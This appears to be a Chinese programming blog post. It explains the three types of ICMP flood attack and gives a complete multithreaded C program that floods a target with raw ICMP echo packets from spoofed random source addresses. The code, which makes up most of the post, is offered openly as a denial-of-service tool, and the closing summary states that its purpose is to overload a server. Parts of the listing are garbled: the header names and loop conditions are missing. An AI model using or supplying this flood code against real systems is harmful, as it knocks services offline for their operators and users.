Linux网络编程之ICMP洪水攻击代码实例

1. ICMP洪水攻击原理

ICMP洪水攻击基于PING协议,通过发送大量的PING包来攻击目标主机,主要攻击有3类:

(1)直接洪水攻击,即通过多线程的方式一次性发送大量的ICMP包,其缺点是容易暴露,对方知道你的IP,可以直接屏蔽

(2)伪装IP攻击, 在直接洪水攻击的基础上,将发送方的IP地址用伪装的IP地址来代替

(3)反射攻击, 伪装目标主机向一群主机发送ICMP请求包,这样,这些主机就会向目标主机发送ICMP响应包,达到攻击的目的


2. ICMP洪水攻击实现

建立多线程,向目标主机发送大量的ICMP包,以此来攻击目标主机.  

1 #include

  2 #include
  3 #include
  4 #include
  5 #include
  6 #include
  7 #include
  8 #include
  9 #include
 10 #include
 11 #include
 12 #include
 13 #include
 14 #include
 15 #include
 16 
 17 #define MAXCHILD 128        //最多线程数
 18 static unsigned long dest =0;   //目的IP地址
 19 static int PROTO_ICMP=-1;       //ICMP协议的值
 20 static alive=-1;                //程序活动标志
 21 static int rawsock;             //原始套接字创建返回值
 22 
 23 //函数声明
 24 static inline long myrandom(int begin,int end); //自定义随机函数
 25 static void Dos_fun(unsigned long ip);          //线程处理函数
 26 static void Dos_icmp(void);                     //ICMP头部打包函数
 27 static void Dos_sig();                      //捕捉ctrl+c信号
 28 
 29 int main(int argc,char* argv[])
 30 {
 31      struct hostent* host=NULL;
 32      struct protoent* protocol=NULL;
 33      char protoname[]="icmp";
 34      int i=0;
 35      pthread_t pthread[MAXCHILD];
 36      int err=-1;

 37      alive=1;

 38      signal(SIGINT,Dos_sig);     //截取信号ctrl+c
 39      if(argc<2)
 40      {
 41          return -1;
 42      }
 43      protocol=getprotobyname(protoname);     //获取协议类型ICMP
 44      if(protocol==NULL)
 45      {
 46          perror("getprotobyname()");
 47          return -1;
 48      }
 49      PROTO_ICMP=protocol->p_proto;
 50      dest=inet_addr(argv[1]);        //将输入字符串地址转换为网络地址
 51      if(dest==INADDR_NONE)
 52      {
 53          host=gethostbyname(argv[1]);    //输入的主机地址为DNS地址
 54          if(host==NULL)
 55          {
 56              perror("gethostbyname()");
 57              return -1;
 58          }
 59          //将地址复制到dest中
 60          memcpy((char *)&dest,host->h_addr,host->h_length);
 61      }
 62      //建立原始套接字
 63      //rawsock=socket(AF_INET,SOCK_RAW,RAW);       //建立原始socket
 64      //if(rawsock<0)
 65      //{ 
 66          rawsock=socket(AF_INET,SOCK_RAW,PROTO_ICMP);
 67       //}
 68      //设置IP选项
 69      setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
 70      //建立多个线程协同工作
 71      for(i=0;i  72      {
 73          err=pthread_create(&pthread[i],NULL,Dos_fun,NULL);
 74      }

 75      //等待线程结束
 76      for(i=0;i  77      {
 78         pthread_join(pthread[i],NULL);
 79      }
 80      close(rawsock);
 81      return 0;
 82 }
 83 
 84 //自定义随机函数产生函数,由于rand()为伪随机函数,与其初始化srand()有关,因此每次用不同值进行初始化
 85 static inline long myrandom(int begin,int end)
 86 {
 87      int gap=end-begin+1;
 88      int ret=0;
 89      //用系统时间初始化
 90      srand((unsigned)time(0));
 91      //产生一个介于begin和end之间的值
 92      ret=random()% gap+begin;
 93      return ret;
 94 }
 95 
 96 //线程函数Dos_fun
 97 static void Dos_fun(unsigned long ip)
 98 {
 99      while(alive)
100      {
101          Dos_icmp();
102      }
103 }
104 
105 //ctrl+c信号捕捉函数
106 static void Dos_sig()
107 {
108      alive=0;
109      printf("pthread exit!,线程退出!\n");
110      return ;
111 }

 112 
113 //ICMP头部打包函数Dos_icmp
114 static void Dos_icmp(void)
115 {
116      struct sockaddr_in to;
117      struct ip* iph;
118      struct icmp* icmph;
119      char* packet;
120      int pktsize=sizeof(struct ip)+sizeof(struct icmp)+64;
121      packet=malloc(pktsize);
122      iph=(struct ip*)packet;
123      icmph=(struct icmp*)(packet+sizeof(struct ip));
124      memset(packet,0,pktsize);
125 
126      iph->ip_v=4;            //IP的版本,IPv4
127      iph->ip_hl=5;           //IP的头部长度,字节数
128      iph->ip_tos=0;          //服务类型
129      iph->ip_len=htons(pktsize);     //IP报文的总长度
130      iph->ip_id=htons(getpid());     //标识,设置为pid
131      iph->ip_off=0;          // 段的偏移地址
132      iph->ip_ttl=0x0;        //生存时间ttl
133      iph->ip_p=PROTO_ICMP;   //协议类型
134      iph->ip_sum=0;          //校验和,先填写为0
135      iph->ip_src.s_addr=(unsigned long)myrandom(0,65535);       //发送的源地址
136      iph->ip_dst.s_addr=dest;       //发送目标地址
137 
138      icmph->icmp_type=ICMP_ECHO;         //ICMP类型为回显请求
139      icmph->icmp_code=0;         //代码为0
140      //由于数据部分为0,并且代码为0,则直接不为0即icmp_type部分计算
141      icmph->icmp_cksum=htons(~(ICMP_ECHO<<8));
142      //填写发送目的地址部分
143      to.sin_family=AF_INET;
144      to.sin_addr.s_addr=iph->ip_dst.s_addr;
145      to.sin_port=htons(0);
146      //发送数据
147      sendto(rawsock,packet,pktsize,0,(struct sockaddr*)&to,sizeof(struct sockaddr));
148      free(packet);       //释放内存

149}

总结: 本文主要是利用原始套接字伪装IP地址来实现ICMP洪水攻击.让服务器接收到大量的ICMP包,造成服务器超负载,从而达到攻击的目的。

你可能感兴趣的:(icmp,linux,syn)